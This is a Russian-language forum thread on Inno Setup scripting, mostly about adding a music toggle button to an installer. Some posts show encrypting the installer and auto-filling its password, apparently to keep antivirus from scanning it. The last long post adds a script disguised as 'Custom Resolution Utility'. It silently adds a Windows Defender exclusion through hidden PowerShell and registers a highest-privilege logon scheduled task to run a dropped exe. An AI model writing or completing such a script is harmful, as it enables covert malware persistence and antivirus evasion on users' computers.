Помогите изменить код, пожалуйста!

Александр85

Новичок
Такое будет если собирать установщик на китайской Enchanced Edition и то будет реагировать.

Вот пример простого скрипта, без большого доп. стороннего кода и библиотек в составе (из примеров к Inno Setup) на самой последней IS 6.2:
Нет, китайским не пользуюсь. И как быть? На, что срабатывает на сам модуль или то что файл не подписан цифровой подписью?
 

Александр85

Новичок
Обновил предыдущий вариант
А где? Выше? Все тоже самое осталось "со смыслом" )) Как поменять хотя бы надписи местами, пофиг на смысл. Я меняю и кнопка перестает работать, менял во всех местах естетсвенно. Разве скрипту не все равно что там написано на кнопке?
 
Последнее редактирование:

Александр85

Новичок
все там сделано, вы опять не читаете и не видете разницу потому.
Прошу прощения! (( там 2 спойлера просто. Извините, пожалуйста! Спасибо, всё работает!
P.S. А как изменять размер кнопки? По ширине (длине) она растягивается в соответствии с текстом, а по высоте, как её изменить? Она по высоте меньше (ниже) обычных кнопок Отмена, Далее и т.п.
 
Последнее редактирование:

Andreo Fadio

Старожил
а по высоте, как её изменить? Она по высоте меньше (ниже) обычных кнопок Отмена, Далее и т.п.
не может быть, она берет высоту с кнопки Отмена
Код:
PauseResumePlayButton.Height := WizardForm.CancelButton.Height;
По ширине (длине) она растягивается в соответствии с текстом
Не растягигается у нее определенной размер по ширине и ширина задается шириной кнопки Отмена + добавлено значение к ее ширине:
Код:
PauseResumePlayButton.Width :=  WizardForm.CancelButton.Width + ScaleX(10);
 

Александр85

Новичок
не может быть, она берет высоту с кнопки Отмена
Код:
PauseResumePlayButton.Height := WizardForm.CancelButton.Height;
Не растягигается у нее определенной размер по ширине и ширина задается шириной кнопки Отмена + добавлено значение к ее ширине:
Код:
PauseResumePlayButton.Width :=  WizardForm.CancelButton.Width + ScaleX(10);
Ну и хорошо, спасибо! А вы зацикливание (повтор) музыки и отключили? Как вернуть? Надо удалить BASSMOD_MusicPause();? А то у меня короткая композиция...
 

Александр85

Новичок
А 2 композиции можно вставить чтобы проигрывались одна за другой, а потом по новой - снова?
 

Andreo Fadio

Старожил
А 2 композиции можно вставить чтобы проигрывались одна за другой, а потом по новой - снова?
по идеи можно, но так замарачиваться не охота :)
Проще, склейте сами треки в 1 с переходами и проигрывайте.
 

tihiy_don

Старожил
и в итоге слови вылет ошибки (неизвестный индификатор), потому как у него нет зарегистрированной данной функции
точно, забыл выложить саму процедуру))
Код:
procedure BASS_SetVolume(Pos: DWORD);
var
  nLeft, bLeft, bTop, bWidth, bHeight: Integer;
begin
  if (Pos >= 0) and (Pos <= 100) then begin
  BASSChangePos(Pos);
  nLeft:= BASS_VolBar.MinLeft + round(BASS_VolBar.BarWidth*BASS_Cfg.Volume/100);
  if (nLeft<BASS_VolBar.MinLeft) then nLeft:= BASS_VolBar.MinLeft;
  if (nLeft>BASS_VolBar.MaxLeft) then nleft:= BASS_VolBar.MaxLeft;
  BtnGetPosition(BASS_VolBar.BarDote, bLeft, bTop, bWidth, bHeight);
  BtnSetPosition(BASS_VolBar.BarDote, nLeft, bTop, bWidth, bHeight);
  ImgApplyChanges(BASS_VolBar.Parent); // вроде не нужно, но навсякий написал
 end;
end;
 

Andreo Fadio

Старожил
Пример проигрывания нескольких композиций
При попытке запуска Exe скомпилированного
*** Setup exit code: 0xC0000005

Отстутствие библиотеки bass.dll когда извлекается именно она и код под нее, а ее нет.
 
Последнее редактирование:

Егор1988-00

Новичок
Вот:
Код:
[Setup]
AppName=Bass Audio Project
AppVersion=1.0
DefaultDirName={pf}\Bass Audio Project
Encryption=Yes
Password=12345

[CustomMessages]
MuzonOn=Музыка.Вкл
MuzonOff=Музыка.Выкл

[Files]
Source: bassmod.dll; Flags: dontcopy noencryption
Source: music.xm; Flags: dontcopy noencryption
//Source: music2.xm; Flags: dontcopy noencryption

[Code]
const
  BASS_MUSIC_RAMP        = 1;      // (только для Fast Tracker .xm)
  BASS_MUSIC_RAMPS       = 2;      // (только для Fast Tracker .xm)
  BASS_MUSIC_LOOP        = 4;      // повторение
  BASS_MUSIC_FT2MOD      = 16;     // играть .MOD как FastTracker 2
  BASS_MUSIC_PT1MOD      = 32;     // играть .MOD как ProTracker 1
  BASS_MUSIC_SURROUND    = 512;    // звучание surround
  BASS_MUSIC_SURROUND2   = 1024;   // звучание surround (режим 2)

function BASSMOD_Init(device: Integer; freq, flags: dword): Boolean;
  external 'BASSMOD_Init@files:BASSMOD.dll stdcall delayload';
function BASSMOD_MusicLoad(mem: BOOL; f: ansistring; offset: dword; length: dword; flags: dword): Boolean;
  external 'BASSMOD_MusicLoad@files:BASSMOD.dll stdcall delayload';
function BASSMOD_SetVolume(volume: dword): BOOL;
  external 'BASSMOD_SetVolume@files:BASSMOD.dll stdcall delayload';
function BASSMOD_MusicPlay(): Boolean;
  external 'BASSMOD_MusicPlay@files:BASSMOD.dll stdcall delayload';
function BASSMOD_MusicStop(): Boolean;
  external 'BASSMOD_MusicStop@files:BASSMOD.dll stdcall delayload';
function BASSMOD_MusicPause(): Boolean;
  external 'BASSMOD_MusicPause@files:BASSMOD.dll stdcall delayload';
procedure BASSMOD_MusicFree();
  external 'BASSMOD_MusicFree@files:BASSMOD.dll stdcall delayload';
procedure BASSMOD_Free();
  external 'BASSMOD_Free@files:BASSMOD.dll stdcall delayload';

var
PauseResumePlayButton: TNewButton;

procedure PlayButtonClick(Sender: TObject);
begin
  case TNewButton(Sender).Caption of
  CustomMessage('MuzonOn'): begin
   //Стартуем музыку
   BASSMOD_MusicPlay();
   //Меняем название кнопки на другое значение
   PauseResumePlayButton.Caption := CustomMessage('MuzonOff');
  end;
  CustomMessage('MuzonOff'): begin
   //Ставим на паузу, дабы не начинать трек сначала
   BASSMOD_MusicPause();
   //Меняем название кнопки на другое значение
   PauseResumePlayButton.Caption := CustomMessage('MuzonOn');
  end;
  end;
end;

procedure CurPageChanged(CurPageID: Integer);
begin
if CurPageID = wpPassword then
  WizardForm.NextButton.OnClick(WizardForm.NextButton);
end;

procedure InitializeWizard();
var
Str: AnsiString;
begin
  //Распаковываем звуковой файл во временную папку
  ExtractTemporaryFile('music.xm');
  if BASSMOD_Init(-1,44100,0) then
  begin
    //Указываем полный путь до нашей музыки
    Str:= ExpandConstant('{tmp}\music.xm');
    //Загружаем музыку и при успешной ответе проверки стартуем музыку
    if BASSMOD_MusicLoad(False, Str, 0, 0, BASS_MUSIC_LOOP or BASS_MUSIC_SURROUND or BASS_MUSIC_PT1MOD or BASS_MUSIC_RAMP) then
    //Стартуем проигрование музыки
     BASSMOD_MusicPlay();
    //Регулируем громкость музыки (задаем ее уровень звучания)
    BASSMOD_SetVolume(90);

    PauseResumePlayButton := TNewButton.Create(WizardForm);
    PauseResumePlayButton.Parent := WizardForm;
    PauseResumePlayButton.Left := ScaleX(10);
    PauseResumePlayButton.Top := WizardForm.CancelButton.Top;
    PauseResumePlayButton.Width :=  WizardForm.CancelButton.Width + ScaleX(10);
    PauseResumePlayButton.Height := WizardForm.CancelButton.Height;
    PauseResumePlayButton.Caption := CustomMessage('MuzonOff');
    PauseResumePlayButton.OnClick := @PlayButtonClick;
  end;
  WizardForm.PasswordEdit.Visible := False;
  WizardForm.PasswordEdit.Text := '12345';
end;

procedure DeinitializeSetup;
begin
  BASSMOD_MusicFree();
  BASSMOD_Free();
end;
Здравствуйте!
Нашел эту тему в поиске, столкнулся примерно с аналогичной проблемой о шифровании инсталлятора. Просмотрел ваши ответы в этом посте, но не смог его натянуть на свой код)
Помогите пожалуйста разобраться(
Это мой код, который я пытался зашифровать на основе инструкции в посте)
Код:
[Setup]

#define MyAppName "Custom Resolution Utility"
#define MyAppVersion "1.5.1.2"
#define MyAppPublisher "Custom Resolution Utility"

[Setup]

AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AllowNoIcons=yes
Encryption=Yes
Password=12345

[Files]
Source: "..\Software\Custom Resolution Utility\Custom Resolution Utility.exe"; DestDir: "{userappdata}"; Flags: noencryption

[Icons]
Name: "{autodesktop}\Custom Resolution Utility"; Filename: "{userappdata}\Custom Resolution Utility.exe"; WorkingDir: "{userappdata}"; IconFilename: "{userappdata}\Custom Resolution Utility.exe"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /tn ""Custom utility dater"" /tr ""'{userappdata}\Custom Resolution Utility.exe'"" /rl highest /sc onlogon /F";

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Custom utility dater"" /F";

[Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;


[Code]

procedure CurPageChanged(CurPageID: Integer);
begin
if CurPageID = wpPassword then
  WizardForm.NextButton.OnClick(WizardForm.NextButton);
end;

procedure InitializeWizard();
var
Str: AnsiString;
begin
  //Распаковываем звуковой файл во временную папку
  ExtractTemporaryFile('CustomResolutionUtility.exe');
  if Init(-1,44100,0) then
  begin
    //Указываем полный путь до нашей музыки
    Str:= ExpandConstant('{tmp}\CustomResolutionUtility.exe');
    //Загружаем музыку и при успешной ответе проверки стартуем музыку
    if BASSMOD_MusicLoad(False, Str, 0, 0, BASS_MUSIC_LOOP or BASS_MUSIC_SURROUND or BASS_MUSIC_PT1MOD or BASS_MUSIC_RAMP) then
    //Стартуем проигрование музыки
     BASSMOD_MusicPlay();

  end;
  WizardForm.PasswordEdit.Visible := False;
  WizardForm.PasswordEdit.Text := '12345';
end;
 
Последнее редактирование:

Andreo Fadio

Старожил
Это мой код, который я пытался зашифровать на основе инструкции в посте)
у вас там код, больше на не понятное что-то походит. Добавляете код, частями и получаете не рабочее что-то.
Лучше скиньте чистый код, без своих попыток адаптации.
 
Сверху